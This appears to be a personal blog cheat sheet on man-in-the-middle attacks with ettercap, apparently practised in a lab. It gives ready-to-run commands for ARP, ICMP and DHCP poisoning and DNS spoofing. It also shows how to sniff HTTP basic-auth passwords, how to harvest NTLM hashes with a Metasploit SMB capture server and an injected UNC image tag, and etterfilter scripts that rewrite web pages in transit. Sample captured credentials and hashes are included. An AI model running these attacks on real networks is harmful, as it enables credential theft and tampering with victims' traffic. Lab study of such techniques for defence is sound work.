Sniffing and live content filtering. Operation modes:
- Unified: sniffs all packets from one interface. Packets for an attack host are ending here, but are directly forwarded after receiving
- Bridget: Forwards traffic from one interface to another. Absolutely secret because there is really no one “between the cable”
Usage
ettercap OPTIONS TARGET1 TARGET2
- Targets are defined as MAC/IPv4s/IPv6s/PORT (there is no DEST or SRC because traffic is bi-directional)
- Example: 84:38:35:54:27:54/192.168.5.100/ (MAC defined, IP defined, all Ports)
- Example: /192.168.5.100/ (Every paket with this ip, every MAC and Port)
- When using with Wireshark, use the –only-mitm option. Ettercap will the disable the sniffing.
- Sniffing WLAN: See the manpage for using the –wiki-key option for providing the key.
Notes
- When using on a gateway:
- Ettercap disables ip_forwarding in the kernel.
- It drops permissions so it can’t enable it after termination.
- So make sure to enable it manually after every use!
ARP-poisening MitM attack
A man in the middle attack can be performed via three ways:
- Via ARP: Poisoning the ARP cache of the attacked client.
ettercap -M arp
- Via ICMP: Uses ICMP redirection by announcing a new/better route to the internet. This catches only traffic from the attacked client. The MAC and IP of the real gateway have to be provided.
ettercap -M icmp:MAC/IP
- Via DHCP: Uses DHCP spoofing and tries to “win” the DHCP ACK race with the real DHCP server. A IP-POOL is necessary which should contain many free addresses in the network. NETMASK should be given accordingly and an IP for a DNS server.
- Caution: After ending a sniffing session, the attacked client will be have no connection until the DHCP release!
ettercap -M dhcp:IP-POOL/NETMASK/DNS
DNS spoofing
Scenario: You want the victim to connect to your server.
- Setup the fakes webserver
- Manipulate
/etc/ettercap/etter.dnsand set the Domains and the IP of the fake webserver - Start ettercap: Source is the gateway, target the attacked hosts.
ettercap -T -Q -i eth1 -P dns_spoof -M arp /192.168.5.254// /192.168.5.105-106/2003:df:6bde:f600:d5:e501:b0c3:e7ef/
Password sniffing
htauth
The following will perform an arp spoffing in the same network and show the username and password as soon as the victims access a htpasswd-protected page.
- Set up a system with a webserver and a protected directory.
- Access it from the victim VM and check that all is configured correctly.
- On the attacker VM and let ettercap poison each traffic from $target:
ettercap -T -i eth0 -M arp:remote /$target// - As soon as the user requested the site one time, the credentials are shown in stdout:
HTTP : 192.168.178.67:8080 -> USER: geheim PASS: password INFO: 192.168.178.67:8080/geheim/ - Quit ettercap by pressing the
qbutton. This will “repoison” the targets system with the correct address so that at the next request it will work for the victim as usual.
Samba
Scenario: You want to redirect SMB credentials to an own server to get hashes.
1. Start SMB capture server in Metasploit:
msf> use auxiliary/server/capture/smb
msf> set JOHNPWFILE /tmp/john.hashes
msf> exploit
2. Create a ettercap filter:
if (ip.proto == TCP && tcp.dst == 8080) {
// Prevents compressed responses from the server.
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Enc0d1ng");
}
// Prevents caching
if (search(DATA.data, "If-Modified-Since")) {
replace("If-Modified-Since", "If-Modified-After");
}
// Add a image tag after the header. File should exists, 1 transparent pixel.
replace("<head>, "<head><img src=\"\\\\$attacker\share\fake.jpg\">");
msg("Header injected with share image reference.\n");
}
3. The smb listener in Metasploit receives hashes:
[*] SMB Captured - 2021-05-02 12:48:37 +0000 NTLMv2 Response Captured from 192.168.178.68:50358 - 192.168.178.68 USER:lab03 DOMAIN:TVM23-WIN10 OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:e7dc... NT_CLIENT_CHALLENGE:010100000000000039df2778513fd70126e9088084dd2a9e00000000020000000000000000000000
Replace content
Scenario:
- $server runs a webserver on $port which content you want to change during transit:
- $victim requested a site from $server with the unchanged content:

- You are $attacker.
Process:
- Provide the changed content on your attack machine. We want to change the image here with
http://$attacker/kali.jpg. - Create the following filter. Note that in reality you would add more conditions to make sure to only change the desired page and not all traffic.
if (ip.proto == TCP && ip.dst == '$target' && tcp.src == $port) {
replace("<img src=", "<img src=\"http://$attacker/kali.jpg\" data-o=");
msg("Image replaced.\n");
} - Compile the filter:
etterfilter replace_image.filter -o replace_image.ef - Execute:
ettercap -T -i eth0 -F replace_image.ef -M arp:remote/$target///$target// - If the $target now visits the page, it won’t work. Because the Content-Length header was not changed and the new HTML body is longer!

- So, pay attention to side effects as well. Unfortunatelly, because ettercap changes packets, we may not have the Content-Length header in the same packet and thus cannot used it to calculate an updated length. Therefore, try to modify a larger string portion and try to not modify the body’s length. In our test case, the source of the HTML file looks as follows:
Our software:
<img src="win10.jpg" alt="The ultimative system for bluescreens." /> - We want to replace win10 (5 characters) with http://192.168.178.29/kali (26 characters). Therefore we have to cut off 21 characters:
img src=“win10.jpg” alt=“The ultimative system for bluescreens.”
…
img src=“http://192.168.178.29/kali.jpg” alt=“The ultimative…” - Both strings have now an equal length and we can update the filter:
if (ip.proto == TCP && ip.dst == '$target' && tcp.src == $port) {
replace("img src=\"win10.jpg\" alt=\"The ultimative system for bluescreens.\"", "img src=\"http://192.168.178.29/kali.jpg\" alt=\"The ultimative…\"");
msg("Image replaced.\n");
} - Compile the filter as before.
- Execute ettercap if as before.
- It still doesn’t work.
- Looking through the ettercap output, you can see that the HTTP response header contains
Content-Encoding: gzip. This means that the packet is compressed and therefore the string-based replacement cannot work. - The proper solution would be to redirect the traffic through an own (squid?) proxy which would forward the response in a uncompressed manner. For this example, I just disable compression in the $server’s Apache configuration by setting
SetEnv no-gzip 1in the VirtualHost configuration. - Try it again.
- Now it worked:

- But… If we just remove the browsers Accept-Encoding header where it tells the server that it accepts a compressed response, then… the server would not compress the response! And: An additional problem could be that caching prevents the target’s browser to update the content. Try to modify caching headers as well. The final script:
// This changes the browsers request and "removes" the Accept-Encoding header
// which normally would lead the server to respond with an unencrypted plain
// text response.
if (ip.proto == TCP && tcp.dst == 8080) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
}
}
// This replaces the response.
if (ip.proto == TCP && ip.dst == '192.168.178.68' && tcp.src == 8080) {
if (search(DATA.data, "If-Modified-Since")) {
replace("If-Modified-Since", "If-42dified-Since");
}
if (search(DATA.data, "If-None-Match")) {
replace("If-None-Match", "If-1337-Match");
}
replace("img src=\"win10.jpg\" alt=\"The ultimative system for bluescreens.\"", "img src=\"http://192.168.178.29/kali.jpg\" alt=\"The ultimative…\"");
msg("Image replaced.\n");
}
Leave a Reply
You must be logged in to post a comment.